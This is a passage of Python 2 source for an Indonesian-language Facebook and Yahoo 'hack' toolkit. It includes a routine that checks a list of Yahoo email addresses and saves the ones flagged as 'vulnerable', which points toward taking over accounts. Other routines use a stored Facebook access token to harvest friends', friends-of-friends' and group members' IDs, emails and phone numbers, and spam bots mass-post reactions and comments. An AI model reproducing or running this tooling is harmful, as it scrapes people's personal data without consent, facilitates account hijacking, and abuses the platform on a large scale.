raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 